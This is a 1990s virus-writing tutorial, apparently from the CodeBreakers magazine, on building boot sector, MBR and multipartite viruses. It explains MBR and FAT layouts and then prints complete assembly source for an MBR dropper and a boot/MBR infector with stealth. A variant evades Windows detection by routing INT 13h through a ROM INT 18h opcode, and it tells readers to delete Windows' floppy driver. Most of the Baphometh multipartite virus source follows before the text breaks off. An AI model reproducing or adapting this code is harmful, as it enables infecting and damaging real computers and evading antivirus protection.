Windows Compatible BS/MBR and Multipartite Viruses a tutorial written by SPo0Ky, with the help of Opic and CTRL-ALT-DEL Welcome to the 5th CB tutorial, now that we have given you a solid foundation with our previous tutorials build upon; its time to move on, deeper into the fascinating world of viruses - viruses which actually have a chance to survive. With the dying of MS-DOS old EXE and COM viruses became pretty obsolete, nowadays the only viruses having a chance to survive 'in the wild' are macro viruses, viruses infecting new executable formats (NE/PE/LE,..) and well programmed (windows compatible) boot and multipartite viruses. Closing the chapter on MS-DOS we'll start off showing you how to write BS- (Boot Sector), MBR- (Master Boot Record) and Multiparitite viruses. If you didn't do so yet, please read the previous editions of our magazine, a rather good knowledge of Assembler, MS-DOS and TSR viruses is required to understand this tutorial. Normally Horny Toad would have written this tutorial, though he has been a bit busy with his life in the last half year so I had to write it. He will be back around Y2K, so you can expect articles from him again in CB#6/7. In the meantime I hope you do not have any problems understand my not so native language english :-) - What is a BS/MBR virus? - BS and MBR viruses do not infect files, they infect sectors of disks (Bootsectors and Master Boot Records). In my opinion they are easier to write then EXE infectors. There is no maths to do, stealth is much easier to implement and there is no changing filesize/time/date which could make the user suspicious. The only problems you have to worry about are Windows and the BIOS Virus Warning, both have some generic antivirus features built in. In most BIOSs there is an option which when enabled prevents any program to write to the MBR of a HDD, or at least it asks the user if he really wants to allow the program to write to the MBR. Also Windows displays a message box when the MBR has been changed warning the user of a possible virus infection. Both of these antivirus features can be easily passed though. - Master Boot Records, Bootsectors and Partition Tables - The Master Boot Record is located on the first sector of each harddisk drive. Please note that there is a difference between a Master Boot Record and a Bootsector, many people don't seem to know that. Floppies do NOT have a MBR, they only have a bootsector, the MBR ONLY exists on the first physical sector of a HDD. The first physical sector of a floppy and the first sector of a partition is called a bootsector. The first 446 bytes of the MBR consist of code which gets loaded to 0000:7C00 and then executed by the BIOS when you switch your computer on, the rest consists of the partition table and 2 marker bytes (55h + AAh), this last two bytes indicate that it is a valid MBR, if they are missing you'll get a error message when trying to boot from such a disk. The purpose of the MBR's code is to check the partition table - which stores information about the partitions on a HDD - and to find the partition which is marked as 'bootable'. After it has found the bootable partition it loads the first sector of this partition (-> the bootsector) into memory and executes it. The format of the MBR and Partition Table looks like this: Offset from Start of Disk Offset Size Description 000H 00H 446 bytes Executable Code 1BEH (Partition Table starts here) 1st Partition Table Entry 00H 1 byte Boot Indicator 01H 1 byte Beginning Head 02H 1 byte Beginning Sector 03H 1 byte Beginning Cylinder 04H 1 byte System Indicator 05H 1 byte Ending Head 06H 1 byte Ending Sector 07H 1 byte Ending Cylinder 08H 4 bytes Relative Starting Sector 0CH 4 bytes Number of Sectors 1CEH 2nd Partition Table Entry 00H 1 byte Boot Indicator 01H 1 byte Beginning Head 02H 1 byte Beginning Sector 03H 1 byte Beginning Cylinder 04H 1 byte System Indicator 05H 1 byte Ending Head 06H 1 byte Ending Sector 07H 1 byte Ending Cylinder 08H 4 bytes Relative Starting Sector 0CH 4 bytes Number of Sectors 1DEH 3rd Partition Table Entry 00H 1 byte Boot Indicator 01H 1 byte Beginning Head 02H 1 byte Beginning Sector 03H 1 byte Beginning Cylinder 04H 1 byte System Indicator 05H 1 byte Ending Head 06H 1 byte Ending Sector 07H 1 byte Ending Cylinder 08H 4 bytes Relative Starting Sector 0CH 4 bytes Number of Sectors 1EEH 4th Partition Table Entry 00H 1 byte Boot Indicator 01H 1 byte Beginning Head 02H 1 byte Beginning Sector 03H 1 byte Beginning Cylinder 04H 1 byte System Indicator 05H 1 byte Ending Head 06H 1 byte Ending Sector 07H 1 byte Ending Cylinder 08H 4 bytes Relative Starting Sector 0CH 4 bytes Number of Sectors (Partition Table ends here) 1EFH 00H 2 bytes 55AAH Signature Bootsectors are located on cylinder 0, head 0 and sector 1 on floppy disks, on HDDs they are located on the first sector of every partition. Their purpose is to load the operating system which is installed on the corresponding partition, bootsectors also provide information about the disk which is nesseccary for the OS to be able to access it, a MS-DOS bootsector looks like this: Offset: Size: Description: 00H - 3 bytes - JUMP Instruction to Executable Code 03H - 8 bytes - Optional OEM Name and Version 0BH - 2 bytes - Bytes Per Sector 0DH - 1 byte - Sectors Per Allocation Unit 0EH - 2 bytes - Reserved Sectors (Starting at 0) 10H - 1 byte - Number of File Allocation Tables 11H - 1 byte - Number of Root Directory Entries 13H - 2 bytes - Total Number of Sectors (if size is larger than 32MB, this value is 0 and the size is a offset 20H) 15H - 1 byte - Media Descriptor 16H - 2 byte - Number of Sectors Per FAT 18H - 2 bytes - Sectors Per Track 1AH - 2 bytes - Number of Heads 1CH - 4 bytes - Number of Hidden Sectors 20H - 4 bytes - Total Number of Sectors (See offset 13H) 24H - 2 bytes - Physical Drive Number 26H - 1 byte - Extended Boot Record Signature (29H) 27H - 4 bytes - Volume Serial Number 2BH - 11 bytes - Volume Label 36H - 7 bytes - File System Identifier (FAT12 ), (FAT16 ),... As you can see, the format of both the MBR and BS are very simple, and, as you'll see later, the good thing is that you do not even have to change any of these values to infect the computer :-) - Interrupts/Functions we will make use of - * Interrupt 13h / AH = 2 Int 13h/Func 2 is used to read one or more sectors from a disk into memory. AH = 02h AL = number of sectors to read (must be nonzero) CH = low eight bits of cylinder number CL = sector number 1-63 (bits 0-5) high two bits of cylinder (bits 6-7, hard disk only) DH = head number DL = drive number (bit 7 set for hard disk) ES:BX -> data buffer * Interrupt 13h / AH = 3 Same as function 2, but instead of reading it writes data to sectors on a disk. AH = 03h AL = number of sectors to write (must be nonzero) CH = low eight bits of cylinder number CL = sector number 1-63 (bits 0-5) high two bits of cylinder (bits 6-7, hard disk only) DH = head number DL = drive number (bit 7 set for hard disk) ES:BX -> data buffer * Interrupt 19h This interrupt reboots the system without clearing memory or restoring interrupt vectors. It should be called with the value in DL representing the boot drive (00h+ = floppy; 80h+ harddisk drive) - Infection Theory - When you switch the computer on the virus gets loaded into memory from either the bootsector if you are booting from a floppy, or from the MBR if you are booting from a HDD (actually doesn't matter), and may then follow this steps for example: 1. Allocate some memory for the virus 2. Copy the virus to the allocated memory 3. Hook interrupt 13h 4. Either write your own routine to search for the active parition and to load it's bootsector, or just use INT 19h to REBOOT now. I'll explain the 2nd method here (using INT 19h). Interrupt 19h requires the bootdrive in DL. The bootdrive is stored in DL when the BS/MBR got loaded, so make sure that you never change DL in the above steps until you call INT 19h! When INT 19h gets executed it will load the first sector (BS on floppies or the MBR on HDD's) of the drive (DL) into memory. At this point we need a stealth routine, else INT 19h would load the virus into memory again and again (and thus hang the computer). The stealth routine will have to check if something is trying to read the first sector of a disk and if this disk is already infected. If it is infected the stealth routine has to redirect the 'read function' to the sector where the original BS/MBR is stored, so that INT 19h will read the original sector instead of reading the already infected one again. Here is the INT 13h handler for stealth and infection: 1. Check if a 'read' function (AH = 2) is called, and if it points to cylinder 0, head 0 and sector 1. If thats true go to #3 2. JMP to original INT 13h 3. Execute a fake Int 13h call (pushf + call [original_int13h]) to read the sector. 4. Check if the read sector is already infected (using some marker bytes) 5. If it is infected go to #13 (stealth), else lets infect it. 6. If DL is 80h or above (HDD) go to #11 7. If DL was below 80h (Floppy) we continue here. At first the virus should copy the 3Ch bytes beginning at offset 3h in the BS into 'itself' to offset 3h. This means that we have to put a buffer of 3Ch bytes at the beginning of our virus... floppy_stuff db 3Ch dup(0) 8. Write the original BS to an unused or seldom used area on the disk, the end of the 'root directory' (see below) is a rather good place. 9. Overwrite the first sector of this disk with the virus. 10. popf + retf :-) ... leave the interrupt routine. 11. Now we have two options, either we copy the parition table into our virus's code (to offset 1BEh) or not. If we don't copy it the user will not be able to access the infected HDD if he boots from a CLEAN bootdisk. This would make the user suspicious, but could also keep SOME (not many) AV products from accessing (cleaning) the infected HDD, and we'd get 64 extra bytes for virus code :-). Anyway, in this tutorial's example virus I'll copy the partition tabel just to show you how it works. So, we now copy the partition table into the virus. Don't forget the 64 byte buffer at offset 1BEh... partition_table db 64 dup(0) 12. Save the original MBR at some seldom used area on the HDD. On HDD's the whole first cylinder (minus the first sector) is unused, so we will just save the original MBR at sector 2, and then go to #9. 13. Simple stealth routine, just overwrite the sector (in memory) we have read right now with the saved (origial) BS (if floppy) or with the saved MBR (if HDD). Then go to #10. Thats about everything there is to do (in a very generic BS/MBR virus), before I continue with the source code I'll try to explain the basics of how the MS-DOS filesystem works. - The MS-DOS Filesystem - The structure of a MS-DOS partition (or of a for MS-DOS formated floppy) +---+-----+-----+-----+---------------------------------------------------+ |BBB|FFFFF|FFFFF|RRRRR|DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD| |BBB|FFFFF|FFFFF|RRRRR|DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD| +---+-----+-----+-----+---------------------------------------------------+ | | | | | | +-----+ | +-- Data Area | | +-------------------------- Root Directory | +-------------------------------- File Allocation Tables (FAT) +------------------------------------------- Boot Sector The Boot Sector, File Allocation Tables and the Root Directory are the System Area of a MS-DOS disk, they use only a few sectors of the disk to store information about the disk and about the files stored on the disk. Clusters? Well, instead of using sectors DOS divides a disk up into logical units, called clusters. A cluster consists of one or more sectors, its size can be as small as one sector or much bigger (-> defined in the boot sector). File Allocation Tables (FATs) DOS needs a way to manage the space on the disk, it needs to know which clusters of the disk are available to store new data, and which clusters are already used by files. The FAT is just a table of numbers, each cluster has one FAT entry which can have one of these values: Value Meaning 00000h Free Sector 0FFF0h to 0FFF6h Reserved 0FFF7h Bad Sector - data error or other 0FFF8h to 0FFFFh End of File Chain All other numbers are pointers to the next cluster in the chain. Each FAT entry can be either 12, 16 or 32 bits long, the bigger the disk is the more bits are needed. FAT12 goes up to 16MB (Floppies, and small HDD's), FAT16 goes up to 2GB and FAT32 goes up to 4TB (Terrabytes). There are two copies of the FAT, but only the first one is actually used, the second one could be used to perform datarecovery if the first FAT got corrupted. The Root Directory The root directory consists of 32 byte entries, the number of possible entries is specified in the boot sector. Each entry stores information like name and extension, attribute, time and date of last write access, start cluster and the filesize about one file or directory. If DOS wants to read a file it has to find the corresponding entry in the root directory first. After that it can read the data beginning at the starting cluster specified in the directory entry, after reading the data of the first cluster it has to lookup the next cluster in the FAT, it continues this loop of reading/finding next cluster until it has read the number of bytes specified in the file's directory entry. You can read vulture's ASM Tutorial #2, which he suggested to include into this edition of our magazine, if you want a much more detailed explanation of the MS-DOS filesystem. - The Source Code - After lots of theoretical stuff here is finally the source code to a simple BS/MBR infector and its dropper. The Dropper - you need it to 'install' the virus on a HDD's MBR, after you finished compiling the virus (following the instructions in its source code) you get a file called virus.bin. The dropper program will save the original MBR of the HDD at sector 2 (like the virus would do it) and then overwrite the MBR with the code contained in virus.bin. Before you continue reading the following parts of this tutorial I suggest you to copy/paste this virus's source code, compile it, test it (on an old machine :-) and edit it until you understand -exactly- how it works, most of the time studying some well commented source codes is much more helpful then reading a tutorial. But before you give it a run on your computer you might probably want to make a backup copy of your MBR so you can easily disinfect your HDD again, my favority program for doing this is TBUTIL which is included in the ThunderByte AntiVirus package, available at www.thunderbyte.com, its easy to use, just type TBUTIL ST to save your MBR and TBUTIL RE to restore it (don't forget to reboot after restoring the MBR). You can also use Evil-E's programs to save/restore your MBR, they are in the utilities directory (including source code). Please execute the dropper program in 100% MS-DOS. Both this virus and it's dropper will not functioning in Windows. To make the virus work in Windows read on below (after the virus source code). --- Dropper source code starts here --- .286 dropper segment para private 'code' assume cs:dropper, ds:dropper, es:dropper start: mov ax,dropper mov ds,ax mov es,ax mov ax,3D02h lea dx,virus int 21h ; open the file 'virus.bin' xchg ax,bx mov ah,3fh lea dx,viruscode mov cx,512 int 21h ; read 512 bytes (one sector) from virus.bin into memory mov ah,3eh int 21h ; close the file mov dl,80h ; we'll put it onto the first HDD (80h) mov ax,0201h ; read, one sector lea bx,MBR ; to offset MBR mov cx,1 ; from cylinder 0, sector 1 mov dh,0 ; and head 0 (location of the MBR) int 13h mov ax,0301h lea bx,MBR mov cx,2 ; save the original MBR at sector 2 mov dh,0 int 13h lea si,MBR ; save the partition table data at offset add si,1BEh ; viruscode + 1BEh lea di,viruscode add di,1BEh mov cx,66 rep movsb mov ax,0301h ; overwrite the original MBR with our virus lea bx,viruscode mov cx,1 mov dh,0 int 13h mov ax,4C00h int 21h ; done virus db 'virus.bin',0 viruscode db 512 dup(?) ; buffer for the virus's code MBR db 512 dup(?) ; buffer for the original MBR dropper ends end start --- Dropper source code ends here --- --- Virus source code starts here --- ; How to compile it: ; save it as virus.asm, then type ; TASM virus.asm ; TLINK virus.obj ; EXE2BIN virus.exe ; ; Everything the EXE2BIN program does is to cut away the exe header ; and to save the resulting file as virus.bin, what you will need ; is virus.bin, not virus.exe! .286 Virus segment para private 'code' assume CS:Virus ORG 0 Start: jmp $+3Ch+3 nop db 3Ch dup(?) ; All the floppy stuff will be stored here xor ax,ax ; setup the stack, as BS/MBR's get loaded to 0:7C00h cli ; its best to set sp to the same mov ss,ax mov sp,7c00h sti mov ds,ax int 12h ; same as mov ax, [0000:0413h] dec ax ; decrease free memory by one Kb mov ds:[0413h],ax ; save it shl ax,6 ; convert to segments mov es,ax mov si,7C00h ; copy the virus to the top of memory xor di,di mov cx,TheEnd - Start rep movsb xor ax,ax mov ds,ax lea ax,NewInt13h mov bx,es cli xchg ax,ds:[13h*4] ; hook int 13h, xchg bx,ds:[13h*4+2] mov ds:[0F6h*4],ax ; and save its original address at int 0F6h so mov ds:[0F6h*4+2],bx ; we can use int 0F6h as int 13h without sti ; activating the stealth routine call Payload ; displays a message on the 1st of every month ; when booting from an infected disk. int 19h ; now reboot (tries to re-read the BS/MBR, ; this time the stealth routine is active and ; thus it will load the original sector) NewInt13h: ; new interrupt 13h cmp ah,2 ; is something being read? jne NotForUs cmp cx,1 ; from cylinder 0 (CH), sector 1 (CL)? jne NotForUs cmp dh,0 ; and from head 0? jne NotForUs int 0F6h ; if so, read it to the address where it is ; supposed to go jnc ViralStuff ; either infect it, or stealth it retf 2 ; if there was an error leave the isr without ; restoring the flags (as they indicate the ; error). NotForUs: int 0F6h ; if there is nothing to be read, or if it is retf 2 ; not being read from CHS 0/0/1 then exit ; the isr also. ViralStuff: pushf pusha push es push ds cmp es:[bx+offset InfectionMarker],'CB' ; check the read sector for our jne Infect ; infection marker. if its ; already there we stealth it, ; else we infect the disk mov ax,0201h ; stealth routine (simple, isn't call GetBSMBRSector ; it? :-) GetBSMBRSector fills int 0F6h ; CX and DX with the correct ; values (either second sector ; if we are working with a HDD, ; or end of root directory - ; head 1, cylinder 14 if its ; a floppy) jmp Return ; stealth - done Infect: mov ax,0301h ; here we go if there was no infection marker call GetBSMBRSector ; found yet. again, fill CX and DX with the int 0F6h ; correct values, and save the original BS/MBR push es cs ; DS = ES pop es ds ; ES = CS mov si,bx ; copy the floppy stuff (Bios Parameter Block add si,2 ; and such) into our virus, from ES:BX+2 to lea di,[Start+2] ; CS:Start+2 mov cx,3Ch rep movsb mov si,bx ; also the paritiontable has to be copied add bx,offset PartitionTable ; if we want to keep the HDD accessible lea di,PartitionTable ; even when the virus is not memory resident. mov cx,64 ; you can just leave this routine away if you rep movsb ; don't want the user to be able to access ; the HDD while the virus is not resident. mov ax,0301h xor bx,bx mov cx,1 mov dh,0 ; and finally overwrite the original BS/MBR int 0F6h ; with the virus code. return: pop ds pop es popa popf retf 2 ; exit the isr, again without restoring the ; flags! GetBSMBRSector: ; this routine fills CX and DX with the correct ; values (-> cylinder, heads, sectors where the ; original BS/MBR is stored) or dl,dl js HDD ; it is a HDD if DL is greater then 80h. ; 80h in binary is 10000000b, so we just have ; to check if the SIGN flag is set after a ; OR DL,DL mov cx,14 ; if its a floppy we use sector 14, cylinder 0 mov dh,1 ; and head 1 (end of root directory). ret HDD: mov cx,2 ; if its a HDD it uses sector 2, cylinder 0 mov dh,0 ; and head 0. ret Payload: ; a simple and harmless payload, it just mov ah,4 ; displays a message on every 1st of a month int 1ah ; when booting from an infected disk. cmp dl,1 je DisplayMessage ret DisplayMessage: lea si,[7C00h + Message] mov ah,0eh mov bx,7 MsgLoop: lodsb or al,al jz MsgDone int 10h jmp MsgLoop MsgDone: xor ah,ah int 16h ret InfectionMarker dw 'CB' Message db ' Your puter''s ill',0ah,0dh db ' --CB Staff',0ah,0dh,0ah,0dh db ' http://www.avp.ch, coz http://www.nai.com sux',0ah,0dh ORG 1BEh ; don't forget this ORG 1BEh (ORG 446) as ; the partition table begins at this offset PartitionTable db 64 dup(?) db 55h, 0AAh TheEnd label byte Virus ends end start --- Virus source code ends here --- - Windows!? - Now that you have (hopefully) understood and tested the above virus you will probably have experienced some problems when trying to running it in Windows. - the dropper didn't even work - when running Windows the first time after you infected your HDD it displayed a warning message box telling you that your MBR has been changed. - even if you executed the dropper in MS-DOS the virus didn't infect any accessed disks while in Windows. Ok lets get rid of the first problem. The problem here is that Windows doesn't allow you to 'directly' access disks using INT 13h, the easiest solution for this problem I have found is just to use a fake INT 13h call (thanks to Device for this suggestion :-). Instead of writing INT 13h, you write: pushf call dword ptr cs:[OriginalInt13h] OriginalInt13h certainly needs to be filled with the segment:offset of the original interrupt 13h first, push ax si ds xor ax,ax mov ds,ax lds si,ds:[13h*4] ; load int13's segment and offset into DS:SI mov word ptr cs:[OriginalInt13h],si mov word ptr cs:[OriginalInt13h+2],ds pop ds si ax ... after that you can always use PUSHF / CALL to execute the INT 13h call, even while in Windows. On to problem number two, this one needs a few thoughts first. Why does windows display this message box? Actually windows is lying when it's telling the user that his MBR has been changed - it doesn't even check the MBR. All it does is check the address of the ISR 13h, if it doesn't point into read only memory (which means that it has been hooked, by a virus for example) it displays the warning message. So everything we'd have to do is to make INT 13h point into read only memory when we hook it. Problem is, we'd also have to copy the virus into ROM, which can't be done. I have found the solution to this in the virus Lilith (credits to its author, whoever that is :-) What Lilith does is it first searches the ROM (0F000:0000 -> 0F000:FFFF) for the opcode of INT 18h (which is 18CDh). It then makes INT 13h point to the address where it has found the INT 18h opcode, and finally it hooks INT 18h to the address of the virus's INT 13h handler. So when INT 13h gets called it first jumps into ROM, at this address a INT 18h gets executed - which then jumps to the virus code. Here is another example virus, it is the same as the above virus with the only difference that it uses the 'INT 18 tech' to prevent Windows from noticing the possible virus infection. --- Virus source code starts here --- .286 Virus segment para private 'code' assume CS:Virus ORG 0 Start: jmp $+3Ch+3 nop db 3Ch dup(?) xor ax,ax cli mov ss,ax mov sp,7c00h sti mov ds,ax int 12h dec ax mov ds:[0413h],ax shl ax,6 mov es,ax mov si,7C00h xor di,di mov cx,TheEnd - Start rep movsb push es ; push the address of the newly allocated memory, push offset InMem retf ; and jump to it InMem: xor ax,ax mov es,ax ; set ES to zero (interrupt table) mov ax,0F000h ; make DS point to the beginning of the ROM. mov ds,ax xor si,si ; start to search at offset zero. Int18hLoopy: cmp word ptr ds:[si],18CDh ; search for the opcode of INT 18h. je FoundInt18h ; if its been found, exit. inc si ; else check the next two bytes. cmp si,0FFFFh ; continue this loop until the opcode has been found jne Int18hLoopy ; or until SI = FFFF. lea ax,NewInt13h+3 ; if the opcode of INT 18h has NOT been found we mov bx,cs ; hook INT 13h normally.. cli xchg ax,word ptr es:[13h*4] xchg bx,word ptr es:[13h*4+2] mov word ptr es:[0F6h*4],ax mov word ptr es:[0F6h*4+2],bx sti jmp Reboot FoundInt18h: ; if the opcode was found execution continues here, ; with the address of an INT 18h opcode in F000:SI xor ax,ax mov ds,ax ; DS = 0 (interrupt table) cli les bx,ds:[13h*4] ; load the address of the original INT 13h entry ; into ES:BX mov ds:[0F6h*4],bx ; make INT 0F6h = original INT 13h mov ds:[0F6h*4+2],es mov ds:[13h*4],si ; hook INT 13h to the address where the mov word ptr ds:[13h*4+2],0F000h ; INT 18h opcode was found mov word ptr ds:[18h*4],offset NewInt13h ; and finally, make INT 18h point mov ds:[18h*4+2],cs ; to the virus's code. sti Reboot: int 19h NewInt13h: add sp,6 ; <--- do not forget this ADD SP,6 at the beginning of your ; INT 13h routine if you use this technique!! ; Whats that for!? ; Well, when a program executes an INT 13h the CPU first ; pushes the flags followed by CS:IP of the next instruction, ; then it jumps to the INT 18h opcode, which again pushes the ; flags followed by another pair of CS:IP. You have to get ; rid of the 3 values pushed by INT 18h, else the CPU would ; jump past the INT 18h opcode (which can be anything, ; code/data/...) and crash once an IRET is executed. ; ADD SP,6 moves the stack pointer 6 bytes (3 words) up ; again... making the INT 18h call seem to have never ; happend :-) ; - everything below this line is the same as in the first example virus - cmp ah,2 jne NotForUs cmp cx,1 jne NotForUs cmp dh,0 jne NotForUs int 0F6h jnc ViralStuff retf 2 NotForUs: int 0F6h retf 2 ViralStuff: pushf pusha push es push ds cmp es:[bx+offset InfectionMarker],'CB' jne Infect mov ax,0201h call GetBSMBRSector int 0F6h jmp Return Infect: mov ax,0301h call GetBSMBRSector int 0F6h push es cs pop es ds mov si,bx add si,2 lea di,[Start+2] mov cx,3Ch rep movsb mov si,bx add bx,offset PartitionTable lea di,PartitionTable mov cx,64 rep movsb mov ax,0301h xor bx,bx mov cx,1 mov dh,0 int 0F6h return: pop ds pop es popa popf retf 2 GetBSMBRSector: or dl,dl js HDD mov cx,14 mov dh,1 ret HDD: mov cx,2 mov dh,0 ret InfectionMarker dw 'CB' ORG 1BEh PartitionTable db 64 dup('X') db 55h, 0AAh TheEnd label byte Virus ends end start --- Virus source code ends here --- Problem #3: why do the disks not get infected when they are accessed in Windows? Thats because Windows uses its own (32bit) routines to access disks. We'd have to get Windows to use the good old BIOS routines again to be able to infect accessed disks even while in Windows. The solution is simple, you just delete (INT 21h / Func 41h) Windows's floppy disk driver, which is C:\WINDOWS\SYSTEM\IOSUBSYS\HSFLOP.PDR. The example virus in the next part (Baphometh v1.0) will do exactly this to continue it's dirty work even while in windows. - Multipartite - Multipartite viruses are viruses which infect both BS/MBRs and files. Well, to infect files the virus has to hook INT 21h, the only thing that keeps us from just hooking this interrupt is that MS-DOS is not loaded at the time the virus code is run (at boot time). To be able to hook the MS-DOS interrupt/functions we have to WAIT until MS-DOS finished loading. The easiest method to wait until MS-DOS is loaded probably is to just hook INT 1Ch or INT 8h (Timers - these interrupts are called 18.2 times per second) and to install a counter into them which gets increased by one everytime they are executed. If you want to wait 5 seconds for example you'd check the counter for 5 * 18.2. After this time you could be rather sure that MS-DOS finished loading and that all of its functions are available now. The problem with this method is that all computers have different speeds, so it could crash on very slow computers as 5 seconds are not enough for them to load DOS, and the very fast ones might crash as they might already have began loading Win95 after these 5 seconds. I think the method CTRL-ALT-DEL uses in the new version of his multipartite virus Baphometh (v2.1) is much better, what he does is to not use timer interrupts, but instead implement a routine which checks the interrupt vectors of INT 20h and INT 21h - he assumes that DOS finished loading once the segments of INT 20h and of INT 21h are not zero anymore, once they are below 0800h, and once both point to the same segment. The INT 13h handler of Baphometh V2.1 looks like this: EvilInt13h: pushf cmp ah,0F2h ; install check jne NoInstallCheck mov bx,4321h popf iret NoInstallCheck: pusha ; here starts the routine push ds cmp byte ptr cs:[DosFinishedLoading],1 ; leave the routine if it has je DontHookInt21hYet ; already detected that DOS ; has finished loading in a ; previous call. xor ax,ax mov ds,ax ; DS = interrupt table mov ax,ds:[21h*4+2] ; AX = segment of INT 21h cmp ax,0 ; exit if its zero je DontHookInt21hYet cmp ax,800h ; exit if its above 800h ja DontHookInt21hYet cmp ax,ds:[20h*4+2] ; if it is not the same as the segment of INT 21h jne DontHookInt21hYet ; exit also mov byte ptr cs:[DosFinishedLoading],1 ; else it sets the flag which ; indicates that dos finished ; loading, lea ax,EvilInt21h ; and hooks INT 21h mov bx,cs cli xchg ax,ds:[21h*4] xchg bx,ds:[21h*4+2] mov word ptr cs:[GoodInt21h],ax mov word ptr cs:[GoodInt21h+2],bx sti DontHookInt21hYet: pop ds popa cmp ah,2 jne NotForUs cmp cx,1 jne NotForUs cmp dh,0 jne NotForUs ... and so on... Please note that this was the interrupt handler of Baphometh v2.1, previous versions (v1.0 and v2.0) used the timer method to wait until DOS finished loading. The full source codes of version 2.0 and v2.1 are included in the magazine. Anyway, as you can see writing such a virus is not hard either, the only critical part is to hook INT 21h at the exact time. Following is the source code of Baphometh v1.0, it was not very optimized written and contains quit some stuff which does not nessecary have to be included in an example virus. Just concentrate on the important parts like the timer routine, interrupt hooking, once you understood these theories there should not be any problems for you anymore to use your own creativity to come up with other (maybe even better) methods of accomplishing the same results. --- Virus source code starts here --- ; Baphometh was written by CTRL-ALT-DEL, a member of The CodeBreakers and ; of the Alternative Virus Mafia, some comments have been added by SPo0Ky ; for CB5. ; ; How to compile it: ; save it as bapho.asm, then type ; TASM bapho.asm ; TLINK bapho.obj ; ; There is no need for EXE2BIN or for a dropper in this virus, just execute ; the generated .EXE file and it will infect the MBR of your first HDD, ; infect Win.com, and hook INT 21h. The next time you boot your computer ; it will also hook INT 13h to infect accessed disks. .286 Baphometh segment assume cs:Baphometh ORG 0 COM equ 0 EXE equ 1 StartOfBaphometh: jmp OverFloppyStuff db 3Ch dup(?) OverFloppyStuff: xor ax,ax cli mov sp,7C00h mov ss,ax sti mov ds,ax sub word ptr ds:[413h],4 ; decrease the top of memory by 4KB mov ax,ds:[413h] shl ax,6 mov es,ax push cs pop ds mov cx,EndOfFirstPart - StartOfBaphometh xor di,di mov si,7C00h rep movsb ; copy the virus to top of memory push es push offset TopOfMem retf ; continue execution at TopOfMem Marker dw 'DT' GetBaphomethSector: ; baphometh consists of more then one sector mov cx,12 ; of code, this routine returns the cylinder, mov dh,1 ; head and sector of where the rest of the cmp dl,80h ; virus code is stored (cylinder 0, head 1, jb ItsAFloppy ; sector 12 on floppies and cylinder 0, mov cx,3 ; head 0, sector 3 on HDD's). mov dh,0 ItsAFloppy: ret TopOfMem: xor ax,ax mov ds,ax lea ax,EvilInt13h ; hook interrupt 13h mov bx,cs cli xchg ds:[13h*4],ax xchg ds:[13h*4+2],bx mov word ptr cs:[GoodInt13h],ax mov word ptr cs:[GoodInt13h+2],bx sti mov ax,0202h ; read the rest of baphomeths code lea bx,EndOfFirstPart ; into memory (append it after the call GetBaphomethSector ; first 512 bytes) call OldInt13h mov word ptr cs:[Timer],0 ; reset the timer mov DosFinishedLoading,0 ; 0 = dos not loaded yet lea ax,EvilInt1Ch ; hook int 1Ch (timer which gets mov bx,cs ; executed 18.2 x per second) cli xchg ds:[1Ch*4],ax xchg ds:[1Ch*4+2],bx mov word ptr cs:[GoodInt1Ch],ax mov word ptr cs:[GoodInt1Ch+2],bx sti push cs pop ds int 19h ; reboot EvilInt1Ch: ; INT 1Ch handler pushf pusha push ds cmp byte ptr cs:[DosFinishedLoading],1 je DontHookInt21hYet ; if dos has finished loading yet it ; just leaves the interrupt inc word ptr cs:[Timer] ; else increase the Timer by one cmp byte ptr cs:[Timer],190 ; if 10 seconds (190 / 18.2) have jb DontHookInt21hYet ; passed it hooks INT 21h, mov DosFinishedLoading,1 ; and sets the flag indicating that ; dos is ready. call HookInt21h DontHookInt21hYet: pop ds popa popf db 0eah GoodInt1Ch dd ? Timer dw 0 DosFinishedLoading db 0 EvilInt13h: ; INT 13h handler pushf cmp ah,0F2h ; installation check is INT 13h/0F2h jne NoInstallCheck mov bx,4321h popf iret NoInstallCheck: cmp ah,2 ; something read? jne NotForUs cmp cx,1 ; from cylinder 0 / sector 1? jne NotForUs cmp dh,0 ; and head 0? jne NotForUs ; if not, exit popf call OldInt13h ; else read it, jnc EatIt ; and eat it :-) retf 2 NotForUs: popf db 0EAh GoodInt13h dd ? OldInt13h: pushf call dword ptr cs:[GoodInt13h] ret EatIt: ; BS/MBR infection/stealth routine pushf pusha push ds push es cmp es:[bx+Marker],'DT' ; is the read BS/MBR infected yet? jne InfectSector mov ax,0201h ; if yes, stealth it call GetStealthSector call OldInt13h jmp Done GetStealthSector: ; this routine is used to get the mov cx,2 ; position of the original BS/MBR, mov dh,0 ; it is stored at cylinder 0, cmp dl,80h ; head 0, sector 2 on HDD's - and on jae NoFloppy ; cylinder 0, sector 14, head 1 on mov cx,14 ; floppies. mov dh,1 NoFloppy: ret InfectSector: ; infection routine mov ax,0301h ; first it saves the original BS/MBR call GetStealthSector call OldInt13h push es pop ds push cs pop es mov si,bx ; copies the BS's BPB (3Ch bytes) into push si ; the virus:offset 3 add si,2 lea di,[StartOfBaphometh+2] mov cx,3Ch rep movsb pop si add si,1BEh lea di,PartitionTable mov cx,40h ; and the partition table (40h bytes) to rep movsb ; offset 1BEh mov ax,0301h ; then overwrites the original BS/MBR lea bx,StartOfBaphometh ; with the virus mov cx,1 mov dh,0 call OldInt13h mov ax,0302h ; and saves the left 2 sectors of the lea bx,EndOfFirstPart ; virus call GetBaphomethSector call OldInt13h Done: pop es pop ds popa popf retf 2 Header db 1Ch dup(?) FileSize dd ? ; db 'X' ;------ ORG 1beh PartitionTable: db 64 dup('P') db 55h,0AAh EndOfFirstPart: ; this is the end of the first part of the ; virus, everything below that offset got ; manually loaded somewhere in the above ; code. EvilInt24h: ; INT 24h handler iret ; ... hooked when infecting a file, to GoodInt24h dd ? ; prevent the error message if a disk is ; write protected. HookInt21h: ; this is the routine which hooks int 21h, pusha ; it gets called by the timer interrupt 1Ch push ds ; after 10 seconds. xor ax,ax mov ds,ax lea ax,EvilInt21h mov bx,cs cli xchg ax,ds:[21h*4] xchg bx,ds:[21h*4+2] mov word ptr cs:[GoodInt21h],ax mov word ptr cs:[GoodInt21h+2],bx sti pop ds popa ret EvilInt21h: ; INT 21h handler pushf cmp ax,0DEADh ; 0DEADh is the installation check jne NoInt21InstallCheck mov bx,0BCBCh popf iret NoInt21InstallCheck: cmp ah,4bh ; infect on execution (func 4Bh) je InfectFile RestoreInt21h: ; else exit popf db 0eah GoodInt21h dd ? InfectFile: pusha push ds es push ds xor ax,ax mov ds,ax lea ax,EvilInt24h ; at first hook int 24h to prevent mov bx,cs ; any error messages cli xchg 